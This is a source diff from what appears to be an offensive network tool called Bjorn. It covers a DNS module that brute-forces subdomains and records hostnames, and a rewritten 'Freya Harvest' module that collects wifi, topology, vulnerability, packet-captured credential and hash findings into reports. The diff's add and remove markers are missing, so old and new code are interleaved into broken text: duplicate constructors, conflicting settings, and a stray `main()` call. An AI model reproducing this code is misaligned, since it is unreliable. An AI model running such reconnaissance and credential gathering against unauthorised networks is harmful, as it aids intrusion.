result = socket.getaddrinfo(ns, 53, socket.AF_INET, socket.SOCK_STREAM)
|
||||
if result:
|
||||
return result[0][4][0]
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
# --------------------- Subdomain enumeration ---------------------
|
||||
|
||||
def _load_wordlist(self) -> List[str]:
|
||||
"""Load subdomain wordlist from file or use built-in list."""
|
||||
# Check for configured wordlist path
|
||||
wordlist_path = ""
|
||||
if hasattr(self.shared_data, "config") and self.shared_data.config:
|
||||
wordlist_path = self.shared_data.config.get("dns_wordlist", "")
|
||||
|
||||
if wordlist_path and os.path.isfile(wordlist_path):
|
||||
try:
|
||||
with open(wordlist_path, "r", encoding="utf-8", errors="ignore") as f:
|
||||
words = [line.strip() for line in f if line.strip() and not line.startswith("#")]
|
||||
if words:
|
||||
logger.info(f"Loaded {len(words)} subdomains from {wordlist_path}")
|
||||
return words
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to load wordlist {wordlist_path}: {e}")
|
||||
|
||||
logger.info(f"Using built-in subdomain wordlist ({len(BUILTIN_SUBDOMAINS)} entries)")
|
||||
return list(BUILTIN_SUBDOMAINS)
|
||||
|
||||
def _enumerate_subdomains(
|
||||
self, domain: str, wordlist: List[str], thread_count: int
|
||||
) -> List[Dict]:
|
||||
"""
|
||||
Brute-force subdomain enumeration using ThreadPoolExecutor.
|
||||
Returns a list of discovered subdomain dicts.
|
||||
"""
|
||||
discovered: List[Dict] = []
|
||||
total = len(wordlist)
|
||||
if total == 0:
|
||||
return discovered
|
||||
|
||||
completed = [0] # mutable counter for thread-safe progress
|
||||
|
||||
def check_subdomain(sub: str) -> Optional[Dict]:
|
||||
"""Check if a subdomain resolves."""
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return None
|
||||
|
||||
fqdn = f"{sub}.{domain}"
|
||||
result = None
|
||||
|
||||
# Try dnspython
|
||||
if _HAS_DNSPYTHON and self._resolver:
|
||||
try:
|
||||
answers = self._resolver.resolve(fqdn, "A")
|
||||
ips = [str(rdata) for rdata in answers]
|
||||
if ips:
|
||||
result = {
|
||||
"subdomain": sub,
|
||||
"fqdn": fqdn,
|
||||
"ips": ips,
|
||||
"method": "dns",
|
||||
}
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Socket fallback
|
||||
if result is None:
|
||||
try:
|
||||
addr_info = socket.getaddrinfo(fqdn, None, socket.AF_INET, socket.SOCK_STREAM)
|
||||
ips = list(set(info[4][0] for info in addr_info))
|
||||
if ips:
|
||||
result = {
|
||||
"subdomain": sub,
|
||||
"fqdn": fqdn,
|
||||
"ips": ips,
|
||||
"method": "socket",
|
||||
}
|
||||
except (socket.gaierror, OSError):
|
||||
pass
|
||||
|
||||
# Update progress atomically
|
||||
with self._lock:
|
||||
completed[0] += 1
|
||||
# Progress: 45% -> 95% across subdomain enumeration
|
||||
pct = 45 + int((completed[0] / total) * 50)
|
||||
pct = min(pct, 95)
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
|
||||
return result
|
||||
|
||||
try:
|
||||
with ThreadPoolExecutor(max_workers=thread_count) as executor:
|
||||
futures = {
|
||||
executor.submit(check_subdomain, sub): sub for sub in wordlist
|
||||
}
|
||||
|
||||
for future in as_completed(futures):
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
# Cancel remaining futures
|
||||
for f in futures:
|
||||
f.cancel()
|
||||
logger.info("Subdomain enumeration interrupted by orchestrator.")
|
||||
break
|
||||
|
||||
try:
|
||||
result = future.result(timeout=15)
|
||||
if result:
|
||||
with self._lock:
|
||||
discovered.append(result)
|
||||
logger.info(
|
||||
f"Subdomain found: {result['fqdn']} -> {result['ips']}"
|
||||
)
|
||||
self.shared_data.comment_params = {
|
||||
"ip": domain,
|
||||
"phase": "subdomains",
|
||||
"found": str(len(discovered)),
|
||||
"last": result["fqdn"],
|
||||
}
|
||||
except Exception as e:
|
||||
logger.debug(f"Subdomain future error: {e}")
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Subdomain enumeration thread pool error: {e}")
|
||||
|
||||
return discovered
|
||||
|
||||
# --------------------- Result saving ---------------------
|
||||
|
||||
def _save_results(self, ip: str, results: Dict) -> None:
|
||||
"""Save DNS reconnaissance results to a JSON file."""
|
||||
try:
|
||||
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
||||
safe_ip = ip.replace(":", "_").replace(".", "_")
|
||||
timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
filename = f"dns_{safe_ip}_{timestamp}.json"
|
||||
filepath = os.path.join(OUTPUT_DIR, filename)
|
||||
|
||||
with open(filepath, "w", encoding="utf-8") as f:
|
||||
json.dump(results, f, indent=2, default=str)
|
||||
|
||||
logger.info(f"Results saved to {filepath}")
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to save results for {ip}: {e}")
|
||||
|
||||
# --------------------- DB hostname update ---------------------
|
||||
|
||||
def _update_db_hostname(self, mac: str, ip: str, new_hostname: str) -> None:
|
||||
"""Update the hostname in the hosts DB table if we found new DNS data."""
|
||||
if not mac or not new_hostname:
|
||||
return
|
||||
|
||||
try:
|
||||
rows = self.shared_data.db.query(
|
||||
"SELECT hostnames FROM hosts WHERE mac_address=? LIMIT 1", (mac,)
|
||||
)
|
||||
if not rows:
|
||||
return
|
||||
|
||||
existing = rows[0].get("hostnames") or ""
|
||||
existing_set = set(h.strip() for h in existing.split(";") if h.strip())
|
||||
|
||||
if new_hostname not in existing_set:
|
||||
existing_set.add(new_hostname)
|
||||
updated = ";".join(sorted(existing_set))
|
||||
self.shared_data.db.execute(
|
||||
"UPDATE hosts SET hostnames=? WHERE mac_address=?",
|
||||
(updated, mac),
|
||||
)
|
||||
logger.info(f"Updated DB hostname for MAC {mac}: added {new_hostname}")
|
||||
# Refresh our local cache
|
||||
self._refresh_ip_identity_cache()
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to update DB hostname for MAC {mac}: {e}")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# CLI mode (debug / manual execution)
|
||||
# ---------------------------------------------------------------------------
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
shared_data = SharedData()
|
||||
try:
|
||||
pillager = DNSPillager(shared_data)
|
||||
logger.info("DNS Pillager module ready (CLI mode).")
|
||||
|
||||
rows = shared_data.read_data()
|
||||
for row in rows:
|
||||
ip = row.get("IPs") or row.get("ip")
|
||||
if not ip:
|
||||
continue
|
||||
port = row.get("port") or 53
|
||||
logger.info(f"Execute DNSPillager on {ip}:{port} ...")
|
||||
status = pillager.execute(ip, str(port), row, "dns_pillager")
|
||||
|
||||
if status == "success":
|
||||
logger.success(f"DNS recon successful for {ip}:{port}.")
|
||||
elif status == "interrupted":
|
||||
logger.warning(f"DNS recon interrupted for {ip}:{port}.")
|
||||
break
|
||||
else:
|
||||
logger.failed(f"DNS recon failed for {ip}:{port}.")
|
||||
|
||||
logger.info("DNS Pillager CLI execution completed.")
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
exit(1)
|
||||
|
||||
@@ -1,457 +1,165 @@
|
||||
# Data collection and organization tool to aggregate findings from other modules.
|
||||
# Saves settings in `/home/bjorn/.settings_bjorn/freya_harvest_settings.json`.
|
||||
# Automatically loads saved settings if arguments are not provided.
|
||||
# -i, --input Input directory to monitor (default: /home/bjorn/Bjorn/data/output/).
|
||||
# -o, --output Output directory for reports (default: /home/bjorn/Bjorn/data/reports).
|
||||
# -f, --format Output format (json, html, md, default: all).
|
||||
# -w, --watch Watch for new findings in real-time.
|
||||
# -c, --clean Clean old data before processing.
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
freya_harvest.py -- Data collection and intelligence aggregation for BJORN.
|
||||
Monitors output directories and generates consolidated reports.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
import logging
|
||||
import time
|
||||
import shutil
|
||||
import glob
|
||||
import watchdog.observers
|
||||
import watchdog.events
|
||||
import markdown
|
||||
import jinja2
|
||||
import threading
|
||||
import time
|
||||
from datetime import datetime
|
||||
|
||||
from collections import defaultdict
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="freya_harvest.py")
|
||||
|
||||
# -------------------- Action metadata --------------------
|
||||
b_class = "FreyaHarvest"
|
||||
b_module = "freya_harvest"
|
||||
b_enabled = 0
|
||||
b_status = "freya_harvest"
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_trigger = "on_start"
|
||||
b_parent = None
|
||||
b_action = "normal"
|
||||
b_priority = 50
|
||||
b_cooldown = 0
|
||||
b_rate_limit = None
|
||||
b_timeout = 1800
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 10 # Local file processing is stealthy
|
||||
b_risk_level = "low"
|
||||
b_enabled = 1
|
||||
b_tags = ["harvest", "report", "aggregator", "intel"]
|
||||
b_category = "recon"
|
||||
b_name = "Freya Harvest"
|
||||
b_description = "Aggregates findings from all modules into consolidated intelligence reports."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.4"
|
||||
b_icon = "FreyaHarvest.png"
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
|
||||
# Default settings
|
||||
DEFAULT_INPUT_DIR = "/home/bjorn/Bjorn/data/output"
|
||||
DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/reports"
|
||||
DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
||||
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "freya_harvest_settings.json")
|
||||
|
||||
# HTML template for reports
|
||||
HTML_TEMPLATE = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Bjorn Reconnaissance Report</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 20px; }
|
||||
.section { margin: 20px 0; padding: 10px; border: 1px solid #ddd; }
|
||||
.vuln-high { background-color: #ffebee; }
|
||||
.vuln-medium { background-color: #fff3e0; }
|
||||
.vuln-low { background-color: #f1f8e9; }
|
||||
table { border-collapse: collapse; width: 100%; margin-bottom: 20px; }
|
||||
th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
|
||||
th { background-color: #f5f5f5; }
|
||||
h1, h2, h3 { color: #333; }
|
||||
.metadata { color: #666; font-style: italic; }
|
||||
.timestamp { font-weight: bold; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Bjorn Reconnaissance Report</h1>
|
||||
<div class="metadata">
|
||||
<p class="timestamp">Generated: {{ timestamp }}</p>
|
||||
</div>
|
||||
{% for section in sections %}
|
||||
<div class="section">
|
||||
<h2>{{ section.title }}</h2>
|
||||
{{ section.content }}
|
||||
</div>
|
||||
{% endfor %}
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
b_args = {
|
||||
"input_dir": {
|
||||
"type": "text",
|
||||
"label": "Input Data Dir",
|
||||
"default": "/home/bjorn/Bjorn/data/output"
|
||||
},
|
||||
"output_dir": {
|
||||
"type": "text",
|
||||
"label": "Reports Dir",
|
||||
"default": "/home/bjorn/Bjorn/data/reports"
|
||||
},
|
||||
"watch": {
|
||||
"type": "checkbox",
|
||||
"label": "Continuous Watch",
|
||||
"default": True
|
||||
},
|
||||
"format": {
|
||||
"type": "select",
|
||||
"label": "Report Format",
|
||||
"choices": ["json", "md", "all"],
|
||||
"default": "all"
|
||||
}
|
||||
}
|
||||
|
||||
class FreyaHarvest:
|
||||
def __init__(self, input_dir=DEFAULT_INPUT_DIR, output_dir=DEFAULT_OUTPUT_DIR,
|
||||
formats=None, watch_mode=False, clean=False):
|
||||
self.input_dir = input_dir
|
||||
self.output_dir = output_dir
|
||||
self.formats = formats or ['json', 'html', 'md']
|
||||
self.watch_mode = watch_mode
|
||||
self.clean = clean
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.data = defaultdict(list)
|
||||
self.observer = None
|
||||
self.lock = threading.Lock()
|
||||
self.last_scan_time = 0
|
||||
|
||||
def clean_directories(self):
|
||||
"""Clean output directory if requested."""
|
||||
if self.clean and os.path.exists(self.output_dir):
|
||||
shutil.rmtree(self.output_dir)
|
||||
os.makedirs(self.output_dir)
|
||||
logging.info(f"Cleaned output directory: {self.output_dir}")
|
||||
|
||||
def collect_wifi_data(self):
|
||||
"""Collect WiFi-related findings."""
|
||||
try:
|
||||
wifi_dir = os.path.join(self.input_dir, "wifi")
|
||||
if os.path.exists(wifi_dir):
|
||||
for file in glob.glob(os.path.join(wifi_dir, "*.json")):
|
||||
with open(file, 'r') as f:
|
||||
data = json.load(f)
|
||||
self.data['wifi'].append(data)
|
||||
except Exception as e:
|
||||
logging.error(f"Error collecting WiFi data: {e}")
|
||||
|
||||
def collect_network_data(self):
|
||||
"""Collect network topology and host findings."""
|
||||
try:
|
||||
network_dir = os.path.join(self.input_dir, "topology")
|
||||
if os.path.exists(network_dir):
|
||||
for file in glob.glob(os.path.join(network_dir, "*.json")):
|
||||
with open(file, 'r') as f:
|
||||
data = json.load(f)
|
||||
self.data['network'].append(data)
|
||||
except Exception as e:
|
||||
logging.error(f"Error collecting network data: {e}")
|
||||
|
||||
def collect_vulnerability_data(self):
|
||||
"""Collect vulnerability findings."""
|
||||
try:
|
||||
vuln_dir = os.path.join(self.input_dir, "webscan")
|
||||
if os.path.exists(vuln_dir):
|
||||
for file in glob.glob(os.path.join(vuln_dir, "*.json")):
|
||||
with open(file, 'r') as f:
|
||||
data = json.load(f)
|
||||
self.data['vulnerabilities'].append(data)
|
||||
except Exception as e:
|
||||
logging.error(f"Error collecting vulnerability data: {e}")
|
||||
|
||||
def collect_credential_data(self):
|
||||
"""Collect credential findings."""
|
||||
try:
|
||||
cred_dir = os.path.join(self.input_dir, "packets")
|
||||
if os.path.exists(cred_dir):
|
||||
for file in glob.glob(os.path.join(cred_dir, "*.json")):
|
||||
with open(file, 'r') as f:
|
||||
data = json.load(f)
|
||||
self.data['credentials'].append(data)
|
||||
except Exception as e:
|
||||
logging.error(f"Error collecting credential data: {e}")
|
||||
|
||||
def collect_data(self):
|
||||
"""Collect all data from various sources."""
|
||||
self.data.clear() # Reset data before collecting
|
||||
self.collect_wifi_data()
|
||||
self.collect_network_data()
|
||||
self.collect_vulnerability_data()
|
||||
self.collect_credential_data()
|
||||
logging.info("Data collection completed")
|
||||
|
||||
def generate_json_report(self):
|
||||
"""Generate JSON format report."""
|
||||
try:
|
||||
report = {
|
||||
'timestamp': datetime.now().isoformat(),
|
||||
'findings': dict(self.data)
|
||||
}
|
||||
|
||||
os.makedirs(self.output_dir, exist_ok=True)
|
||||
output_file = os.path.join(self.output_dir,
|
||||
f"report_{datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.json")
|
||||
|
||||
with open(output_file, 'w') as f:
|
||||
json.dump(report, f, indent=4)
|
||||
|
||||
logging.info(f"JSON report saved to {output_file}")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error generating JSON report: {e}")
|
||||
|
||||
def generate_html_report(self):
|
||||
"""Generate HTML format report."""
|
||||
try:
|
||||
template = jinja2.Template(HTML_TEMPLATE)
|
||||
sections = []
|
||||
|
||||
# Network Section
|
||||
if self.data['network']:
|
||||
content = "<h3>Network Topology</h3>"
|
||||
for topology in self.data['network']:
|
||||
content += f"<p>Hosts discovered: {len(topology.get('hosts', []))}</p>"
|
||||
content += "<table><tr><th>IP</th><th>MAC</th><th>Open Ports</th><th>Status</th></tr>"
|
||||
for ip, data in topology.get('hosts', {}).items():
|
||||
ports = data.get('ports', [])
|
||||
mac = data.get('mac', 'Unknown')
|
||||
status = data.get('status', 'Unknown')
|
||||
content += f"<tr><td>{ip}</td><td>{mac}</td><td>{', '.join(map(str, ports))}</td><td>{status}</td></tr>"
|
||||
content += "</table>"
|
||||
sections.append({"title": "Network Information", "content": content})
|
||||
|
||||
# WiFi Section
|
||||
if self.data['wifi']:
|
||||
content = "<h3>WiFi Findings</h3>"
|
||||
for wifi_data in self.data['wifi']:
|
||||
content += "<table><tr><th>SSID</th><th>BSSID</th><th>Security</th><th>Signal</th><th>Channel</th></tr>"
|
||||
for network in wifi_data.get('networks', []):
|
||||
content += f"<tr><td>{network.get('ssid', 'Unknown')}</td>"
|
||||
content += f"<td>{network.get('bssid', 'Unknown')}</td>"
|
||||
content += f"<td>{network.get('security', 'Unknown')}</td>"
|
||||
content += f"<td>{network.get('signal_strength', 'Unknown')}</td>"
|
||||
content += f"<td>{network.get('channel', 'Unknown')}</td></tr>"
|
||||
content += "</table>"
|
||||
sections.append({"title": "WiFi Networks", "content": content})
|
||||
|
||||
# Vulnerabilities Section
|
||||
if self.data['vulnerabilities']:
|
||||
content = "<h3>Discovered Vulnerabilities</h3>"
|
||||
for vuln_data in self.data['vulnerabilities']:
|
||||
content += "<table><tr><th>Type</th><th>Severity</th><th>Target</th><th>Description</th><th>Recommendation</th></tr>"
|
||||
for vuln in vuln_data.get('findings', []):
|
||||
severity_class = f"vuln-{vuln.get('severity', 'low').lower()}"
|
||||
content += f"<tr class='{severity_class}'>"
|
||||
content += f"<td>{vuln.get('type', 'Unknown')}</td>"
|
||||
content += f"<td>{vuln.get('severity', 'Unknown')}</td>"
|
||||
content += f"<td>{vuln.get('target', 'Unknown')}</td>"
|
||||
content += f"<td>{vuln.get('description', 'No description')}</td>"
|
||||
content += f"<td>{vuln.get('recommendation', 'No recommendation')}</td></tr>"
|
||||
content += "</table>"
|
||||
sections.append({"title": "Vulnerabilities", "content": content})
|
||||
|
||||
# Credentials Section
|
||||
if self.data['credentials']:
|
||||
content = "<h3>Discovered Credentials</h3>"
|
||||
content += "<table><tr><th>Type</th><th>Source</th><th>Service</th><th>Username</th><th>Timestamp</th></tr>"
|
||||
for cred_data in self.data['credentials']:
|
||||
for cred in cred_data.get('credentials', []):
|
||||
content += f"<tr><td>{cred.get('type', 'Unknown')}</td>"
|
||||
content += f"<td>{cred.get('source', 'Unknown')}</td>"
|
||||
content += f"<td>{cred.get('service', 'Unknown')}</td>"
|
||||
content += f"<td>{cred.get('username', 'Unknown')}</td>"
|
||||
content += f"<td>{cred.get('timestamp', 'Unknown')}</td></tr>"
|
||||
content += "</table>"
|
||||
sections.append({"title": "Credentials", "content": content})
|
||||
|
||||
# Generate HTML
|
||||
os.makedirs(self.output_dir, exist_ok=True)
|
||||
html = template.render(
|
||||
timestamp=datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
|
||||
sections=sections
|
||||
)
|
||||
|
||||
output_file = os.path.join(self.output_dir,
|
||||
f"report_{datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.html")
|
||||
|
||||
with open(output_file, 'w') as f:
|
||||
f.write(html)
|
||||
|
||||
logging.info(f"HTML report saved to {output_file}")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error generating HTML report: {e}")
|
||||
|
||||
def generate_markdown_report(self):
|
||||
"""Generate Markdown format report."""
|
||||
try:
|
||||
md_content = [
|
||||
"# Bjorn Reconnaissance Report",
|
||||
f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n"
|
||||
]
|
||||
|
||||
# Network Section
|
||||
if self.data['network']:
|
||||
md_content.append("## Network Information")
|
||||
for topology in self.data['network']:
|
||||
md_content.append(f"\nHosts discovered: {len(topology.get('hosts', []))}")
|
||||
md_content.append("\n| IP | MAC | Open Ports | Status |")
|
||||
md_content.append("|-------|-------|------------|---------|")
|
||||
for ip, data in topology.get('hosts', {}).items():
|
||||
ports = data.get('ports', [])
|
||||
mac = data.get('mac', 'Unknown')
|
||||
status = data.get('status', 'Unknown')
|
||||
md_content.append(f"| {ip} | {mac} | {', '.join(map(str, ports))} | {status} |")
|
||||
|
||||
# WiFi Section
|
||||
if self.data['wifi']:
|
||||
md_content.append("\n## WiFi Networks")
|
||||
md_content.append("\n| SSID | BSSID | Security | Signal | Channel |")
|
||||
md_content.append("|------|--------|-----------|---------|----------|")
|
||||
for wifi_data in self.data['wifi']:
|
||||
for network in wifi_data.get('networks', []):
|
||||
md_content.append(
|
||||
f"| {network.get('ssid', 'Unknown')} | "
|
||||
f"{network.get('bssid', 'Unknown')} | "
|
||||
f"{network.get('security', 'Unknown')} | "
|
||||
f"{network.get('signal_strength', 'Unknown')} | "
|
||||
f"{network.get('channel', 'Unknown')} |"
|
||||
)
|
||||
|
||||
# Vulnerabilities Section
|
||||
if self.data['vulnerabilities']:
|
||||
md_content.append("\n## Vulnerabilities")
|
||||
md_content.append("\n| Type | Severity | Target | Description | Recommendation |")
|
||||
md_content.append("|------|-----------|--------|-------------|----------------|")
|
||||
for vuln_data in self.data['vulnerabilities']:
|
||||
for vuln in vuln_data.get('findings', []):
|
||||
md_content.append(
|
||||
f"| {vuln.get('type', 'Unknown')} | "
|
||||
f"{vuln.get('severity', 'Unknown')} | "
|
||||
f"{vuln.get('target', 'Unknown')} | "
|
||||
f"{vuln.get('description', 'No description')} | "
|
||||
f"{vuln.get('recommendation', 'No recommendation')} |"
|
||||
)
|
||||
|
||||
# Credentials Section
|
||||
if self.data['credentials']:
|
||||
md_content.append("\n## Discovered Credentials")
|
||||
md_content.append("\n| Type | Source | Service | Username | Timestamp |")
|
||||
md_content.append("|------|---------|----------|-----------|------------|")
|
||||
for cred_data in self.data['credentials']:
|
||||
for cred in cred_data.get('credentials', []):
|
||||
md_content.append(
|
||||
f"| {cred.get('type', 'Unknown')} | "
|
||||
f"{cred.get('source', 'Unknown')} | "
|
||||
f"{cred.get('service', 'Unknown')} | "
|
||||
f"{cred.get('username', 'Unknown')} | "
|
||||
f"{cred.get('timestamp', 'Unknown')} |"
|
||||
)
|
||||
|
||||
os.makedirs(self.output_dir, exist_ok=True)
|
||||
output_file = os.path.join(self.output_dir,
|
||||
f"report_{datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.md")
|
||||
|
||||
with open(output_file, 'w') as f:
|
||||
f.write('\n'.join(md_content))
|
||||
|
||||
logging.info(f"Markdown report saved to {output_file}")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error generating Markdown report: {e}")
|
||||
|
||||
|
||||
def generate_reports(self):
|
||||
"""Generate reports in all specified formats."""
|
||||
os.makedirs(self.output_dir, exist_ok=True)
|
||||
def _collect_data(self, input_dir):
|
||||
"""Scan directories for JSON findings."""
|
||||
categories = ['wifi', 'topology', 'webscan', 'packets', 'hashes']
|
||||
new_findings = 0
|
||||
|
||||
if 'json' in self.formats:
|
||||
self.generate_json_report()
|
||||
if 'html' in self.formats:
|
||||
self.generate_html_report()
|
||||
if 'md' in self.formats:
|
||||
self.generate_markdown_report()
|
||||
|
||||
def start_watching(self):
|
||||
"""Start watching for new data files."""
|
||||
class FileHandler(watchdog.events.FileSystemEventHandler):
|
||||
def __init__(self, harvester):
|
||||
self.harvester = harvester
|
||||
for cat in categories:
|
||||
cat_path = os.path.join(input_dir, cat)
|
||||
if not os.path.exists(cat_path): continue
|
||||
|
||||
def on_created(self, event):
|
||||
if event.is_directory:
|
||||
return
|
||||
if event.src_path.endswith('.json'):
|
||||
logging.info(f"New data file detected: {event.src_path}")
|
||||
self.harvester.collect_data()
|
||||
self.harvester.generate_reports()
|
||||
|
||||
self.observer = watchdog.observers.Observer()
|
||||
self.observer.schedule(FileHandler(self), self.input_dir, recursive=True)
|
||||
self.observer.start()
|
||||
for f_path in glob.glob(os.path.join(cat_path, "*.json")):
|
||||
if os.path.getmtime(f_path) > self.last_scan_time:
|
||||
try:
|
||||
with open(f_path, 'r', encoding='utf-8') as f:
|
||||
finds = json.load(f)
|
||||
with self.lock:
|
||||
self.data[cat].append(finds)
|
||||
new_findings += 1
|
||||
except: pass
|
||||
|
||||
try:
|
||||
while True:
|
||||
time.sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
self.observer.stop()
|
||||
self.observer.join()
|
||||
if new_findings > 0:
|
||||
logger.info(f"FreyaHarvest: Collected {new_findings} new intelligence items.")
|
||||
self.shared_data.log_milestone(b_class, "DataHarvested", f"Found {new_findings} new items")
|
||||
|
||||
self.last_scan_time = time.time()
|
||||
|
||||
def execute(self):
|
||||
"""Execute the data collection and reporting process."""
|
||||
def _generate_report(self, output_dir, fmt):
|
||||
"""Generate consolidated findings report."""
|
||||
if not any(self.data.values()):
|
||||
return
|
||||
|
||||
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
os.makedirs(output_dir, exist_ok=True)
|
||||
|
||||
if fmt in ['json', 'all']:
|
||||
out_file = os.path.join(output_dir, f"intel_report_{ts}.json")
|
||||
with open(out_file, 'w') as f:
|
||||
json.dump(dict(self.data), f, indent=4)
|
||||
self.shared_data.log_milestone(b_class, "ReportGenerated", f"JSON: {os.path.basename(out_file)}")
|
||||
|
||||
if fmt in ['md', 'all']:
|
||||
out_file = os.path.join(output_dir, f"intel_report_{ts}.md")
|
||||
with open(out_file, 'w') as f:
|
||||
f.write(f"# Bjorn Intelligence Report - {ts}\n\n")
|
||||
for cat, items in self.data.items():
|
||||
f.write(f"## {cat.capitalize()}\n- Items: {len(items)}\n\n")
|
||||
self.shared_data.log_milestone(b_class, "ReportGenerated", f"MD: {os.path.basename(out_file)}")
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
input_dir = getattr(self.shared_data, "freya_harvest_input", b_args["input_dir"]["default"])
|
||||
output_dir = getattr(self.shared_data, "freya_harvest_output", b_args["output_dir"]["default"])
|
||||
watch = getattr(self.shared_data, "freya_harvest_watch", True)
|
||||
fmt = getattr(self.shared_data, "freya_harvest_format", "all")
|
||||
timeout = int(getattr(self.shared_data, "freya_harvest_timeout", 600))
|
||||
|
||||
logger.info(f"FreyaHarvest: Starting data harvest from {input_dir}")
|
||||
self.shared_data.log_milestone(b_class, "Startup", "Monitoring intelligence directories")
|
||||
|
||||
start_time = time.time()
|
||||
try:
|
||||
logging.info("Starting data collection")
|
||||
|
||||
if self.clean:
|
||||
self.clean_directories()
|
||||
|
||||
# Initial data collection and report generation
|
||||
self.collect_data()
|
||||
self.generate_reports()
|
||||
|
||||
# Start watch mode if enabled
|
||||
if self.watch_mode:
|
||||
logging.info("Starting watch mode for new data")
|
||||
try:
|
||||
self.start_watching()
|
||||
except KeyboardInterrupt:
|
||||
logging.info("Watch mode stopped by user")
|
||||
finally:
|
||||
if self.observer:
|
||||
self.observer.stop()
|
||||
self.observer.join()
|
||||
|
||||
logging.info("Data collection and reporting completed")
|
||||
|
||||
while time.time() - start_time < timeout:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
|
||||
self._collect_data(input_dir)
|
||||
self._generate_report(output_dir, fmt)
|
||||
|
||||
# Progress
|
||||
elapsed = int(time.time() - start_time)
|
||||
prog = int((elapsed / timeout) * 100)
|
||||
self.shared_data.bjorn_progress = f"{prog}%"
|
||||
|
||||
if not watch:
|
||||
break
|
||||
|
||||
time.sleep(30) # Scan every 30s
|
||||
|
||||
self.shared_data.log_milestone(b_class, "Complete", "Harvesting session finished.")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error during execution: {e}")
|
||||
raise
|
||||
finally:
|
||||
# Ensure observer is stopped if watch mode was active
|
||||
if self.observer and self.observer.is_alive():
|
||||
self.observer.stop()
|
||||
self.observer.join()
|
||||
|
||||
def save_settings(input_dir, output_dir, formats, watch_mode, clean):
|
||||
"""Save settings to JSON file."""
|
||||
try:
|
||||
os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True)
|
||||
settings = {
|
||||
"input_dir": input_dir,
|
||||
"output_dir": output_dir,
|
||||
"formats": formats,
|
||||
"watch_mode": watch_mode,
|
||||
"clean": clean
|
||||
}
|
||||
with open(SETTINGS_FILE, 'w') as f:
|
||||
json.dump(settings, f)
|
||||
logging.info(f"Settings saved to {SETTINGS_FILE}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save settings: {e}")
|
||||
|
||||
def load_settings():
|
||||
"""Load settings from JSON file."""
|
||||
if os.path.exists(SETTINGS_FILE):
|
||||
try:
|
||||
with open(SETTINGS_FILE, 'r') as f:
|
||||
return json.load(f)
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to load settings: {e}")
|
||||
return {}
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Data collection and organization tool")
|
||||
parser.add_argument("-i", "--input", default=DEFAULT_INPUT_DIR, help="Input directory to monitor")
|
||||
parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory for reports")
|
||||
parser.add_argument("-f", "--format", choices=['json', 'html', 'md', 'all'], default='all',
|
||||
help="Output format")
|
||||
parser.add_argument("-w", "--watch", action="store_true", help="Watch for new findings")
|
||||
parser.add_argument("-c", "--clean", action="store_true", help="Clean old data before processing")
|
||||
args = parser.parse_args()
|
||||
|
||||
settings = load_settings()
|
||||
input_dir = args.input or settings.get("input_dir")
|
||||
output_dir = args.output or settings.get("output_dir")
|
||||
formats = ['json', 'html', 'md'] if args.format == 'all' else [args.format]
|
||||
watch_mode = args.watch or settings.get("watch_mode", False)
|
||||
clean = args.clean or settings.get("clean", False)
|
||||
|
||||
save_settings(input_dir, output_dir, formats, watch_mode, clean)
|
||||
|
||||
harvester = FreyaHarvest(
|
||||
input_dir=input_dir,
|
||||
output_dir=output_dir,
|
||||
formats=formats,
|
||||
watch_mode=watch_mode,
|
||||
clean=clean
|
||||
)
|
||||
harvester.execute()
|
||||
logger.error(f"FreyaHarvest error: {e}")
|
||||
return "failed"
|
||||
|
||||
return "success"
|
||||
|
||||
